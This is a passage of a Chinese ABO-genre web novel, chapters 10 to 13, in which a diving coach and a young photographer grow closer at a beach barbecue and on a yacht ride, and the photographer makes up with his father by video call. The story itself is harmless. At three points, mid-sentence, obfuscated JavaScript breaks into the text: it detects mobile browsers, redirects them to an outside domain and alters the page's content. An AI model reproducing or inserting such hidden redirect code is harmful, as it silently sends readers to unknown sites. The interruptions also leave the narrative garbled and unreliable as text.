“哦,好。”桃楠接过龙虾,指尖不小心蹭到了他的手背,突然就像碰了闪电似的,猛地缩回手,差点把相机摔了。 我靠?什么情况,怎么刚一碰到他手就像触电了一样?桃楠不解的看向自己的指尖。 “怎么毛手毛脚的。”梨砚的声音里带着点笑意,转身去冰柜拿了瓶冰可乐,瓶身凝着的水珠滴在沙地上,洇出一小片深色的印子。他把可乐放在桃楠手边,然后离开。 陈辰见他过来,用胳膊肘撞了撞梨砚的腰:“你可别忘了我刚刚说的。” 梨砚斜了他一眼,拿起一串烤鸡翅慢条斯理地啃着,忽然朝桃楠的方向抬了抬下巴:“他相机里有不少尼莫的视频吧?” “嗯,是拍了不少,”陈辰咬着龙虾尾含糊道,“那小子说要剪个视频,让更多人关注到海洋保护什么的。”他顿了顿,瞥了眼梨砚,“想看就去要他联系方式啊?” 梨砚没接话,目光却不由自主飘向桃楠。远处的omega正举着相机对着烤架拍特写,侧脸被火光映得暖融融的,微卷的发梢沾了点火星似的,连笑起来时嘴角都盛着光。 吃到一半,甜橙橙突然想起什么,拉着桃酥往海边跑:“听说今晚有荧光沙滩,我们去看看吧!” 陈辰刚想喊住她们,就被梨砚按住手腕。“让她们去,”他声音压得低,“我刚才看到巡逻队在那边,不会有事儿。” 陈辰挑眉:“你倒挺上心。” 梨砚没理他,视线又落回桃楠身上。他依旧在低头摆弄相机,屏幕的光映在他脸上,忽明忽暗。 “对了梨教练,”桃楠忽然抬头,举着相机跑了过来,“你看这个镜头行不行?我总觉得光线有点暗。” 他一靠近,那股淡淡的桃花香就跟着飘过来,混着烤海鲜的烟火气,挠得梨砚后颈的腺体又开始发烫。他下意识往后仰了仰,目光落在屏幕上:“把曝光调高三分之一,对比度降点。” “哦好。”桃楠乖乖照做,调完又举起来给他看,“这样是不是好多了?” 这次他靠得更近,发梢都快蹭到梨砚的胳膊。梨砚盯着屏幕里晃动的海浪,喉结滚了滚:“嗯。” “那我再去拍点海边的镜头,”桃楠收起相机,站起身,“你们先吃着,我很快回来。” “我跟你去。”梨砚几乎是立刻接话,话音刚落自己都愣了下。 陈辰在旁边“嗤”了一声,冲他挤眉弄眼。 桃楠也愣了愣,随即笑起来:“好啊,正好我怕黑。” 海边的风比椰林里大些,吹得人衣角乱飞。桃楠举着相机跑在前面,时不时回头喊他:“梨教练,你快点。” 梨砚站在沙滩上,看着omega踩着荧光碎浪奔跑的背影,忽然觉得今晚的月光有点晃眼。他低头扯了扯领口,摸到颈后凸起的腺体,那里还在隐隐发烫。 “梨教练快来!”桃楠的声音远远传来,“这里能拍到星星和大海同框。” 梨砚迈开长腿走过去,桃楠像是条件反射似的,回头自然的抓住手腕往礁石上拉:“站这里拍视野最好了。” 桃楠的指尖温热,带着海风的潮气,像有电流顺着皮肤爬上来。梨砚僵在原地,酥酥麻麻的感觉一路窜到了心口。 他垂眸看向被攥住的手腕,那里还有下午搬潜水装备时蹭到的红痕,此刻被少年的手指圈着,竟不觉得疼了,反倒有点痒。 看着被少年攥住的手腕,梨砚忽然想起被尘封已久的记忆。 “你看镜头里是不是超美?”桃楠举着相机给他看,没注意到他的异样。 梨砚回过神,“嗯”了声,目光却还是落在两人交握的手上。omega的手指纤细,指甲修剪得整整齐齐,攥着他手腕的力道很轻,但像焊住了似的,没放开。 最后直到远处传来陈辰的喊声,桃楠才松开手,转身朝岸边望去:“好像是陈队在喊我们回去了。” 梨砚猛地回神,飞快的收回手插进裤袋里,指尖还残留着刚刚的温度。 他低头踢了踢脚下的沙子,听见桃楠在旁边小声说:“今天还挺开心的,不仅给尼莫过了生日,还拍到了好多素材。” “嗯。”梨砚应着,忽然想起什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326483|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “明天……秦尤还会来?” “不知道哎,”桃楠说,“他明天要来找我玩,不过我们明天不是要跟协会去巡岛吗?” 梨砚的脚步顿了顿,嘴角几不可查地勾了勾,像被月光吻过的水面,漾起浅浅的纹:“巡岛要一整天。”潜台词是,你没法跟他玩了。 “那正好,”桃楠笑起来,“我可以拍你们巡岛的日常,肯定比他们拍的综艺有意思。” 海浪拍打着礁石,把海浪卷上岸,又退下去。 梨砚看着omega被月光照亮的侧脸,忽然觉得一切都没变,还是海边,还是这样的夜晚,连心跳的节奏都和很多年前重合了。 要是真的没变就好了……他默默想。 一阵海风突然吹过,将梨砚从回忆里带出。他回过神,伸手扯了扯肩上的防晒服,布料上的桃花香混着海风,好像也没那么让人难熬了。 “走吧,”梨砚率先迈开步子,“回去吃龙虾,再晚就真的凉了。” 桃楠应了声,举着相机跟在他身后,镜头悄悄对着他的背影,按下了快门,毕竟不会有那个学过摄影的会忍住不拍这么有氛围的景。 镜头里,Alpha的狼尾发梢在月光下泛着淡淡的蓝,和远处的星空连在一起连在一起,像幅流动的画。 桃楠盯着屏幕里的照片,越看越熟悉,他似乎在哪里见过一样的背影,也是在海边,也是这样昏暗的夜。 但出现在脑海里的画面转瞬即逝,他想不起更多细节了。 “怎么这两天脑子里老出现一些以前不记得的东西?”桃楠喃喃着把相机收了起来,没再多想,快步跟上了梨砚。 两个人绕过一块巨大的礁石,结果好巧不巧,撞见了两道依偎的身影。 两个人站在海漫浪不到的干沙区,南阳微微低头,手掌扣着时夏的后颈,吻得专注又投入。 时夏手里的草帽掉在地上,被风卷着滚了两圈,最后停在梨砚脚边。 桃楠猛地停住脚步,慌忙捂住嘴才没叫出声,相机差点就从手上摔下去。 我靠我靠,怎么又让我撞见了!? 他下意识看向梨砚,对方只是挑了挑眉,弯腰捡起草帽,用指腹掸了掸上面的沙,动作轻得像怕惊扰了什么。 远处的浪声突然变得格外清晰,把那片小小的角落衬得愈发安静。 时夏似乎察觉到动静,睫毛颤了颤,刚要抬头就被南阳按住后颈加深了吻,Alpha低沉的嗓音混着海风飘了过来:“宝宝,专心点。” 梨砚拉了把还在发愣的桃楠,转身往另一条岔路走。 直到走出很远,桃楠才敢小声问:“他们……一直在这里吗?” “嗯,”梨砚把草帽往胳膊上一搭,指尖碾过帽檐上残留的细沙,声音里带着点漫不经心的笑意,“下午清点人数时就没见着,陈辰说这俩八成是躲哪儿拌嘴去了,没想到是在这儿‘谈心’。 11. 加好友 往回走的路上,海风把烧烤的香气吹得更浓,桃楠攥着相机的手指还在发烫,满脑子都是刚才撞见的画面,忍不住跟身边的梨砚碎碎念:“我的天,他俩也太会找地方了吧?那礁石后面跟结界似的,要不是草帽滚出来,我们估计能站那儿当半小时雕塑。” 梨砚把草帽往肩上颠了颠,蓝发被风吹得轻晃,勾着笑意开口:“小情侣在海边谈恋爱罢了,本来就该找这种没人打扰的地方。” “关键是他也太不做人了!”桃楠的发梢被风吹得贴在脸颊上,他抬手捋了把微卷的头发,控诉道:“甜橙橙刚才还到处找时夏问防晒霜,我说怎么喊半天没人应,合着在那儿‘专心’谈恋爱呢!等会儿回去必须让他们请吃最大的烤龙虾谢罪。” 说话间已经走到烧烤摊附近,沙滩上的人声热闹起来。秦尤正举着手机跟几个志愿者拍合照,看见桃楠回来,扬了扬手里的烤玉米:“桃楠快来,这有你爱吃的玉米,我特意给你留的。” “谢啦大明星,”桃楠笑着接过,玉米的甜香混着奶香扑鼻而来。 桃楠刚走过去,甜橙橙就冲了过来:“桃儿,你怎么才回来?我刚看见南阳和时夏一前一后回来,俩人脖子都红扑扑的,你说他们是不是偷偷去吃独食了?” “何止是吃独食啊……”桃楠咬着玉米,拖长了调子,但话没说完就被身后的脚步声打断。 南阳牵着时夏的手走过来,时夏耳尖红得滴血,接过梨砚递过去的草帽后,恨不得找个沙坑钻进去。 偏偏南阳还故意放慢脚步,手指在他掌心挠了挠,气得时夏在他胳膊上掐了一把。 “哟,这不是刚‘谈心’回来的两位吗?”陈辰第一个开炮,举着烤鸡翅冲他们晃了晃,“谈得怎么样啊?沙滩软不软,海风浪不浪漫?” 甜橙橙瞬间反应过来,笑嘻嘻道:“你们俩果然没干好事!小夏你这样下去可不行啊,也太经不住诱惑了吧?和在学校的时候一样天天被南阳给拐跑。” 时夏的脸“腾”地红透了,连脖颈都染上粉色,刚想辩解就被南阳往身后护了护。 他挑眉笑着把人往怀里带了带,声音里满是藏不住的得意:“我们小情侣谈点重要的事,自然比吃烧烤要紧多了。” “切——”众人集体发出起哄声,桃楠举着相机对准他们:“快站好,我给‘海洋主题先导片”拍张情侣照放进去,告诉粉丝我这个单身omega有多惨。” 梨砚靠在冰柜门边,指尖无意识摩挲着瓶身凝结的水珠,水珠顺着指缝滴落,在沙地上洇出小小的深色印记。 他看着闹成一团的人群,目光却不自觉追着那个举着相机跑前跑后的身影。 桃楠追着时夏要拍他,跑过梨砚身边时被沙粒绊了下,差点撞进他怀里,幸好梨砚伸手扶了他一把。 掌心相触的瞬间,桃楠又像触电似的缩回手,这次却没再愣神,只是耳尖悄悄红了,低头嘟囔着“谢谢”就跑开了。 梨砚看着自己空荡荡的手心,那里还残留着少年温热柔软的触感,他的喉结轻轻滚了滚,转身拉开冰柜门拿了两罐冰可乐,罐身的冷气瞬间钻进指尖。 沙滩上的烟火气越来越浓,炭火混着海风,把夏夜的热闹烘得滚烫。 志愿者和明星们围坐在折叠椅上,有人举着手机开直播,镜头对着滋滋作响的烤架,有人在分享白天浮潜时拍到的海洋动物。 手机屏幕在夜色里亮成一片,秦尤拿着话筒站起来,提议大家合唱这次公益综艺的主题曲,清澈的歌声混着海浪拍岸的声音飘向远处的海面。 桃楠举着相机记录着这一切,镜头扫过从甜橙橙怀里抢自己老婆的陈辰,还有被众人调侃得耳根发红却偷偷牵着手的南阳和时夏,最后落在了坐在角落的梨砚身上。 他正低头喝着可乐,烧烤摊上星星灯的暖光落在他的侧脸,眼角的红痣在夜色里格外清晰,狼尾发梢被风吹得轻颤,发间还沾着点细碎的沙粒。 他看着取景器里的人,忽然觉得心里某个模糊的角落被轻轻撞了下。 又是这种熟悉的感觉………… 录像结束后,他关掉相机屏幕,指尖摩挲着冰凉的机身。其实他知道,这些模糊的记忆多半和5年前那场海上事故有关,医生说他丢失了部分记忆是因为被刺激分化的应激反应。 但此刻看着眼前的一切,那些想不起来的事情好像也没那么重要了。 至少此刻,烟火、海浪、热闹的人群,还有身边陪着的姐姐和朋友,都真实得让人心安。 歌声渐歇,沙滩上的热闹慢慢沉淀成温馨的烟火气。大家围坐在烧烤摊旁,炭火仍在滋滋作响,烤得焦香的鸡翅、流着黄油的玉米和泛着红光的龙虾被一一端上桌,香气混着海风在夜色里弥漫。 桃楠啃着烤玉米,看着身边的甜橙橙正和陈辰抢最后一串烤鱿鱼,闹得不可开交。 梨砚坐在稍远些的角落,手里还握着那罐没喝完的冰可乐,罐身的水珠顺着指节往下滴。 他没怎么动桌上的烧烤,只是偶尔拿起一串烤茄子慢慢吃着,目光却时不时往桃楠的方向飘。 omega的侧脸被炭火映得暖融融的,额前浅棕色的发随着低头的动作轻轻晃动。 这时徐导拿着几瓶冰啤酒走过来,拍了拍秦尤的肩膀:“大家先停一下,我给你们介绍几位朋友。” 他侧身让出身后的几个人,“这是我们协会的李会长、王研究员、莉莉安,还有负责巡岛记录的小林和阿杰,也是未来两个月和我们一起行动的伙伴。” 众人纷纷放下手里的食物打招呼,李会长笑着摆摆手:“该说谢谢的是我们,有秦尤老师和各位年轻人来宣传,咱们的海洋保护理念才能被更多人看到。” 徐导接过话头,语气稍微正经了些:“跟大家同步个事,今晚咱们就回格尼丝岛住。节目组这边刚才跟我对接,说之前录的综艺素材里有几个镜头出了点技术问题,需要补拍。” 他看向秦尤和另外几个艺人,“明天上午辛苦大家跟协会的成员一起巡岛,咱们边巡边补录,正好也能实地看看岛上的生态保护情况。” “没问题徐导,”秦尤率先点头,“本来就是公益活动,配合补录应该的。” 桃楠啃着龙虾尾含糊道:“那我明天就继续拍我的素材,把先导片发出去。” 话音刚落,身边忽然传来一道清浅的声音:“桃楠,能加个联系方式吗?”梨砚不知什么时候走了过来,手里的可乐罐已经空了,他说:“想看看你拍的尼莫。” 桃楠愣了一下,抬头撞进他带着笑意的眼睛里,那双狐狸眼在烧烤摊暖黄的灯光下显得格外清亮。 这是这几天来,梨砚第一次清晰地叫他的名字,尾音轻轻勾着,让他心跳莫名漏了一拍。 Alpha见他没应声,眉梢微垂,问:“不可以?”语气里竟带了些许不易察觉的委屈,像被雨打湿的狐狸,看得桃楠心头一软。 “哦、好……好啊!”桃楠慌忙咽下嘴里的虾肉,鲜香的汁水差点呛进喉咙,指尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326484|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在纸巾上胡乱蹭了蹭油渍,才解锁手机,“你不说我都忘了,该加的。” “好了。”梨砚看着手机屏幕上弹出的好友申请提示,嘴角弯起,指尖在屏幕上轻点通过,“记得发我视频。” “好,”桃楠说:“我还拍了不少你的照片,一会儿一起发给你。” 这时徐导拍了拍手,炭火的噼啪声渐歇,他扬声喊道:“时间不早了,大家收拾下东西,船在码头等着了,咱们回格尼丝岛休息。” 众人立刻行动起来,志愿者们开始收拾散落的竹签和餐盘,秦尤利落地把折叠椅摞成一叠,甜橙橙拉着时夏的手叽叽喳喳说着悄悄话,南阳则默默跟在后面,自然地替两个人背包。 沙滩上的星星灯被一一熄灭,暖光褪去后,夜色显得更浓了,只有海浪拍岸的声音在耳边温柔回荡。 桃楠把相机小心翼翼地塞进背包,拉链拉到一半又想起什么,回头望去时,正好看见梨砚弯腰帮一个扎羊角辫的小志愿者捡掉在沙地上的发圈。 算了,回去斟酌一下再告诉他吧。 “桃楠,走啦!”甜橙橙回头喊他,声音被海风卷着飘过来。 “来了!”桃楠应着,快步追了上去,顺手从旁边的遮阳伞下拿起秦尤给的帽子戴上,是一顶和秦尤同款的黑色棒球帽。 两人跟着大部队往码头走,夜风带着海水的凉意扑面而来。 游艇发动时,海风猛地从敞开的舱门灌进来,桃楠下意识往旁边躲了躲,梨砚几乎是同时伸手挡在他身前,拿起沙发边上的毯子盖在了他的肩膀上:“小心着凉。” “谢谢梨教练。”桃楠仰头道谢,说话时帽檐轻轻晃动了一下。 就在这时,梨砚的目光落在了他头上的帽子上。黑色的帽檐侧边印着熟悉的品牌logo,是刚刚看见的那顶,跟秦尤戴的那顶只有颜色不一样。 刚才在烧烤摊,秦尤还戴着这顶帽子举着烤玉米和桃楠说笑。 突然,一股莫名的烦躁忽然涌上心头,梨砚的眼神暗了暗。 他盯着那顶帽子,指尖无意识地蜷缩起来,心里不受控制地冒出一个念头:这帽子秦尤戴过吗?上面会不会沾着他信息素的味道? 桃楠似乎并没有察觉到落在自己身上的目光,正转头看着窗外的海景,帽檐下露出的侧脸在夜色里显得格外柔和。 梨砚移开目光,喉结轻轻滚动了一下,强行压下心底那点不合时宜的占有欲,可视线却总忍不住往那顶帽子上瞟,连带着海风都好像带上了一丝若有若无的、让他莫名在意的气息。 游艇破开浪花前行,远处的格尼丝岛渐渐清晰,岛上的灯火像散落在黑丝绒上的碎钻。 梨砚收回目光,视线落在桃楠被海风掀得微微晃动的帽檐上。黑色的布料被风掀起又落下,像在他心尖上轻轻撩拨,那点隐秘的嫉妒便随着海浪的节奏涨涨落落,缠得他指尖泛起细碎的痒意。 他喉结悄悄滚动了一下,一个念头不受控制地冒出来:要不要摘下来? 趁他不注意,把这顶沾着别人气息的帽子摘下来,让它染上自己的味道。 这样,这顶帽子就只会属于他了………… 梨砚的指尖微微蜷缩,目光在那顶帽子上停留了很久,直到游艇驶过一片浪涌,桃楠下意识扶了扶帽檐,他才像被烫到似的移开视线,耳尖却悄悄泛起热意,连带着呼吸都乱了半拍。 梨砚收回目光,看着桃楠被风吹得微微晃动的帽檐,心里那点隐秘的嫉妒像潮水般涨涨落落。 12. 又流鼻血 或许是因为天气原因,海面上的风忽然变得更急了,甲板上传来大家疯狂的叫声,船舱里只剩他们两个。 暖黄的灯光在地板上投下两道交叠的影子,随着窗外晃动的船身轻轻摇曳。 梨砚额前的蓝发被吹得凌乱,几缕发丝贴在脸颊上,连带着狼尾发梢都被海风掀得胡乱晃动。 他抬手理了理头发,指尖刚拨开一缕被吹到眼前的发丝,下一秒又被风卷得乱了型。 “风好大呀。”梨砚低声叹道,目光不由自主地飘向桃楠。 对方头上那顶黑色棒球帽正稳稳地压着额发,帽檐在脸颊投下一小片阴影,把柔软的眉眼护得严严实实,连带着侧脸的绒毛都染上了一层暖光,柔和得像幅被精心收藏的画。 他忽然倾身靠近,衣摆被风掀起小小的弧度,声音混着风声轻得像羽毛:“桃楠,借个东西。 桃楠正低头研究毛毯上绣的海浪花纹,闻声转过头时,帽檐随着动作轻轻磕了下眉骨:“啊?借什么?” 梨砚抬手点了点自己被吹乱的头发,蓝发在夜色里泛着细碎的光泽:“你这帽子借我戴会儿呗,头发被吹得快睁不开眼睛了。 他说这话时微微歪着头,眼角眉梢带着点被风欺负后的无奈,眼神清澈得像刚落过雨的湖面,活脱脱一只狼狈却又无辜的小狐狸。 桃楠愣了愣,才注意到他凌乱的头发。刚才只顾着看风景,居然没发现梨砚被风吹得这么狼狈。他没多想,抬手就把帽子摘了下来,递过去时还不忘叮嘱:“小心别被风吹跑了,这是秦尤给的……” 他的话没说完就被梨砚接过帽子的动作打断。Alpha指尖触碰到布料时顿了顿,鼻间被一股清香的桃花味占领。 梨砚不动声色地深吸了一口,自然地把帽子扣在头上,调整帽檐时指腹轻轻摩挲着内侧的布料,刚好遮住被吹乱的额发。 他对着桃楠弯了弯眼,眼底的笑意干净又坦荡:“谢了。” 压低的帽檐刚好遮住他眼底一闪而过的满意。 海风还在呼呼地吹,但此刻落在发间的风好像都变得温柔了些。梨砚抬手按了按帽檐,指腹摩挲着布料上残留的、属于桃楠的淡淡气息,喉结不动声色地滚了滚。 这顶帽子,现在是他的了。 桃楠看着他戴帽子的样子,忽然觉得这顶平平无奇的黑色棒球帽在梨砚头上竟意外合适。 帽檐衬得他下颌线愈发清晰,蓝发从帽檐边缘漏出来几缕,黑与蓝的碰撞莫名和谐。 他忍不住小声嘀咕:“好像比戴在我头上好看。” “嗯?”梨砚没听清,微微侧过头,帽檐下的目光落在他脸上,带着点恰到好处的疑惑,像只竖起耳朵的小兽,“你说什么?” “哦,没什么没什么。”桃楠慌忙摆手,正想转回去继续研究毛毯,却忽然瞥见梨砚的鼻尖下洇出一点刺目的红。 他愣了一下,凑近了些才看清,梨砚的鼻血正顺着人中缓缓往下淌。 “梨教练,你怎么又流鼻血了?”桃楠手忙脚乱地从口袋里摸纸巾,“刚才被风吹得太猛了?” 梨砚自己似乎也刚察觉,抬手一抹鼻尖,指腹立刻沾上了血迹。 靠……不是吧,不就闻了几下信息素而已? 他无奈的接过桃楠递来的纸巾按住鼻子,声音有点闷:“没事,老毛病,可能是海风太干了。” 桃楠完全没听出他话里的破绽,只皱眉担心:“什么没事啊,今天都流了两次了。”桃楠往前凑半步,想去看他的情况,却被突然凑过来的两个脑袋吓了一跳。 “哟,俩人手拉手干什么呢?”陈辰挤眉弄眼地凑过来,笑得一脸不怀好意,“梨教练这是怎么了?被我们桃楠帅到流鼻血了?” 桃酥站在陈辰身后抱臂看着,目光扫过梨砚捂鼻子的手,那点刺目的红在灯光下格外显眼,她挑了挑眉,轻笑一声没说话。 玩笑归玩笑,陈辰很快收起调侃,一脸恨铁不成钢地拉梨砚:“走走走,更衣室有止血喷雾,再流下去该贫血了。” 他特意拽着梨砚从另外一边走,想隔开两人,防止桃楠闻到梨砚鼻血里带出来的信息素。 桃楠的目光追着两人的背影,鼻尖却忽然动了动。他仔细嗅了嗅空气中弥漫的味道,小声嘟囔:“怎么有股梨花味?姐,你闻到了吗?” 桃酥本来靠在沙发上昏昏欲睡,闻言瞬间清醒,不着痕迹地往他身边挪了挪。 她完全忘了自己弟弟今天闻不到别人的信息素,试图用自己身上的气息打掩护:“外面在喝饮料吧,可能是水果味的汽水味道飘进来了。” 话音刚落,船舱外就传来一阵欢呼,伴随着易拉罐碰撞的脆响和“干杯”的喊声。各种甜腻的汽水味、微苦的啤酒味顺着门缝涌进来,很快便淹没了那股让桃楠莫名上心的梨花香。 他望着门口发呆,脑海里却不由自主地想起上船前闻到的那股若有似无的、让他心跳加速的信息素,指尖无意识地抠着毛毯的边角。 好可惜,我还没闻够呢…… 桃酥看着弟弟对着门口出神的样子,指尖轻轻敲了敲沙发扶手,忽然开口:“对了,忘提醒你了,给爸打个视频吧。” 桃楠猛地回神,脸上的温度瞬间降了下去,语气也蔫了不少:“打、打视频干嘛啊?” “还能干嘛?报备啊。”桃酥挑眉,眼神里带着点了然,“你出门前没跟他说具体行程,他昨天发消息问你到没到,你都没回。” 提到这个,桃楠的耳朵就耷拉下来了,上船前一天晚上,他跟爸爸大吵了一架。 起因是爸爸想让他毕业了就不要在外面晃荡,回家住,顺便介绍几个相熟的Alpha认识,他嫌爸爸管太多,又觉得对方根本不理解自己的想法,争执间说了句“你从来都只关心这些,根本不管我想要什么。”,然后摔门就走了。 这几天他一直故意憋着没回消息,这会儿被桃酥一提,心里顿时有点发堵。 “我不想打……”他小声嘟囔,手指无意识地抠着毛毯的边角,“我们吵架了啊。” “吵架就不报备了?”桃酥放下抱臂的手,语气软了些,“爸那脾气你又不是不知道,看着凶,心里比谁都担心你。林爸走了之后,他对你多上心你没数吗?这次也是,怕你坐船晕船,偷偷让时夏给你带了晕船药,就塞在你背包侧袋里,你自己都没发现吧?” 桃楠愣住了,下意识地摸向背包侧袋,果然摸到一个小小的药盒。心里像是被什么东西轻轻撞了一下,又酸又软。 他其实也知道爸爸是关心自己,只是每次一提到Alpha、信息素这些话题,他就忍不住想刺猬一样竖起尖刺。爸爸总觉得omega就该找个可靠的Alpha保护,可他不想被当成需要依附别人的存在。 “可是……”他还是有点别扭,“他肯定还在生气。” “生气也得打。”桃酥拿出手机塞到他手里,屏幕正好停留在微信聊天界面,“你是他儿子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326485|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他气过了就心疼了。再说了,你总得让他知道你平平安安的,不然他今晚又该睡不着了。” “乖了,阿楠。”桃酥像哄孩子似的摸了摸弟弟毛茸茸的脑袋,“我们打一个好不好?” 手机在掌心有点发烫,桃楠看着屏幕上“爸爸”两个字,犹豫了半天,指尖在拨通键上悬了又悬。 海风还在窗外呼啸,船舱里的灯光暖融融的,隐约能听到外面甲板上的喧闹声。 他想起爸爸每次打电话时,总是装作不耐烦却会反复确认他有没有好好吃饭、有没有按时休息,想起对方明明是强势的Alpha,却会在他生病时笨拙地学着熬粥,结果把厨房弄得一团糟。 “打嘛打嘛,就说两句。”桃酥推了推他的胳膊,“实在不行,我跟他说?” “不用!”桃楠立刻抬头,深吸一口气,像是下定了决心,按下了拨号键。 电话响了三声就被接起,屏幕里出现爸爸熟悉的脸。对方似乎刚结束工作,衬衫领口还敞开着,头发也有点凌乱,但看到屏幕里的桃楠时,眼神明显柔和了下来,只是语气还带着点刻意的严肃:“总算舍得给爸爸打电话了?” 桃楠被顾烨的语气说得一噎,刚鼓起的勇气又缩了回去,结结巴巴地说:“爸爸,我、我们到岛上了,一切都好…………” “好就行。”爸爸的目光在他脸上扫了一圈,又瞥见他身后的船舱环境,眉头微微皱起,“晚上风大,别往外跑,盖好毯子,你容易别着凉,知道没?” 絮絮叨叨的叮嘱和平时没什么两样,可桃楠听着,鼻尖却莫名有点酸。他吸了吸鼻子,小声说:“知道了……爸爸,对不起,我出门前不该跟您吵架的。” 屏幕那头的Alpha愣了一下,表情明显松动了,过了几秒才哼了一声,语气却软了下来:“好了好了,爸爸也有错,你在外面照顾好自己,有事就给我打电话,或者找姐姐帮忙知道吗?” “嗯!”桃楠用力点头,看着爸爸脸上的温和,心里的别扭忽然就烟消云散了。 桃楠见顾烨一句没问自己,凑到镜头质问:“爸,您眼里怎么只有这小子,太偏心了点吧?” “不是吧姐!你怎么还吃我的醋?”桃楠故意将手机拿远,嘲笑桃酥幼稚。 对面的顾烨闻言笑了几声,对桃酥道:“你还能让人欺负了?从小到大什么时候不是带着一身伤回来,还说自己是去行侠仗义了?” 桃楠立刻附和:“就是就是!你还拉着我当沙包练手。” “你忘恩负义啊桃楠,”桃酥伸手捏住弟弟的脸,“你这副上山下海的好身体,谁给你练出来的?” 屏幕那头的顾烨望着两个孩子在镜头前追打嬉闹,心底涌上一阵踏实的暖意。自从爱人离开后,他始终独自摸索着填补那份空缺,此刻孩子们鲜活的身影,便是对他所有努力最好的回应。 视频挂断后,桃楠把手机递还给姐姐,脸颊上的热意还未完全褪去。桃酥瞥见他泛红的眼角,忍不住笑着揉了揉他的头发,张开双臂轻声哄道:“好了宝贝,过来,姐姐抱抱。” “才不要!”桃楠毫不掩饰脸上的嫌弃,抱着他的小毯子往沙发另一头挪了挪,“你对谁都这么张开胳膊,我才不稀罕。” 桃酥故意拖长了调子逗他:“嘿,你这小没良心的,我偏要抱,怎么着?”说着便不由分说地将吃醋的弟弟搂进怀里,声音软了下来:“姐姐错了,好不好?” 桃楠:“你好肉麻……” 13. 安全距离 此时,门外被游艇摇晃的阴影切割得忽明忽暗,梨砚靠着冰冷的金属舱壁站着,鼻尖里塞着两团雪白的纸巾,边缘洇开的淡红在暖黄灯光下格外显眼。 海风卷起他额前几缕蓝发,贴在微凉的耳廓上。 刚才在更衣室被陈辰按着后颈喷阻隔剂时,船舱里飘来的说话声像浸了水的棉线,细细软软地缠上来,轻轻勒着记忆里最敏感的那根神经。 那道透过门板传来的男声,温和里裹着点刻意压着的严肃,像五年前医院走廊里听过的那样,隔着漫长的时光,猝不及防地撞进心里。 是顾烨。 他记得那个声音,甚至说是不会忘,那年他缩在医院冰凉的长椅上,失去腺体嗅觉带来的灼痛感还没褪去,他看见病房里这人低声哄着桃楠喝药,语气里尽是耐心和温柔。 可后来,也是这个声音,在他最狼狈的时候,隔着半开的诊室门对他说着冷静的叮嘱,字字清晰地砸在他心上,让他的心脏“咚”地一声坠入谷底。 船舱里的笑声断断续续的飘出来,桃酥的调侃、桃楠带着点羞恼的反驳,还有顾烨在视频那头纵容的笑意,像一幅被暖光包裹的画,清晰得让他心慌。 他低头看着自己手里那顶黑色棒球帽,布料上还残留着淡淡的桃花香,刚才借着海风和信息素作乱的心思,此刻像被冷水浇过的火苗,噼啪几声就灭了下去。 他们是这样完整的一家人啊,甚至可以更完整的。 梨砚指尖捏着帽檐,指节微微泛白。他刚才借着借帽子靠近时的小心思,闻到信息素时失控的心跳,甚至流鼻血时的慌乱,现在想来都像船舷上突兀的礁石,硌得人发慌。 他不该这样的,不该仗着能暂时闻到的信息素就靠近,更不该对这份温暖生出不该有的念头。 安全距离,他需要和桃楠保持安全距离。 他直起身刚要推门进去还帽子,身后却突然传来一阵奇怪的动静,像是有人弯腰弓背,一路吸着鼻子小跑过来,鞋底在甲板上蹭出“沙沙”的轻响。 “你在这儿罚站呢?刚喷的阻隔剂白瞎了?”陈辰的声音带着点喘,鼻尖还在用力嗅着空气。 梨砚被他这副模样吓了一跳,刚鼓起的决心瞬间被打乱,手里的帽子差点没拿稳。 他皱眉往后退了半步,没好气地踹了陈辰一脚:“你闲的没事儿干在这cos小狗干什么?” 陈辰被踹得踉跄了一下,直起身后鼻尖还在用力嗅着空气,像只被香味勾走魂的大型犬:“你懂什么?这叫精准定位!刚在更衣室就闻到我老婆的柚子味信息素飘过来了,甜丝丝的带着点清苦,绝对是她没错。” 他一边说一边往船舱门的方向凑,眼睛亮晶晶的:“肯定是担心我,特意出来找我了。你看,这就叫夫妻间的心灵感应……” 话音未落,船舱门“咔嗒”一声被拉开,桃酥抱着手臂站在门口,身上果然带着淡淡的柚子清香。 她挑眉看着弯腰嗅味的陈辰,嘴角噙着点戏谑:“哟,小狗鼻子今天没失灵?我刚在里面就听见外面有狗叫,原来是你啊。” 陈辰立刻嬉皮笑脸地凑上去,熟练地搂住她的腰往怀里带:“哪能失灵啊,老婆的味道我闭着眼都能闻出来。刚给梨砚处理完鼻子,正想找你呢。” 